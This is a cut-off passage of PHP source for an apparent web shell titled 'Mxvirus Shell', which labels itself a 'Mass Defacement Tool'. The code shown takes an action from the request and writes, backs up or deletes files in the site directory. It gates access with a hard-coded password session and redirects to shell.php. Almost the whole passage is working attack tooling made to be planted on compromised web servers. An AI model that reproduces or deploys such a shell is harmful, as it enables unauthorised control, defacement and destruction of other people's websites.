" . realpath($full);
} else {
$result[] = "[✖] Failed to write $file";
}
}
echo implode("\n", $result);
exit;
} elseif ($action === 'backup') {
$backupDir = __DIR__ . '/backup/';
if (!is_dir($backupDir)) mkdir($backupDir);
foreach ($files as $file) {
$source = __DIR__ . '/' . $file;
$dest = $backupDir . $file . '.' . time() . '.bak';
if (copy($source, $dest)) {
$result[] = "[📦] $file => backup/$file." . time() . ".bak";
} else {
$result[] = "[✖] Failed to backup $file";
}
}
echo implode("\n", $result);
exit;
} elseif ($action === 'delete') {
foreach ($files as $file) {
$path = __DIR__ . '/' . $file;
if (is_file($path) && unlink($path)) {
$result[] = "[🗑️] Deleted $file";
} else {
$result[] = "[✖] Failed to delete $file";
}
}
echo implode("\n", $result);
exit;
}
exit;
}
if (isset($_POST['password']) && $_POST['password'] === $PASSWORD) {
$_SESSION['auth'] = true;
header("Location: shell.php");
exit;
}
?>
Mxvirus Shell
🔒 Enter Password
💀 Mxvirus - Mass Defacement Tool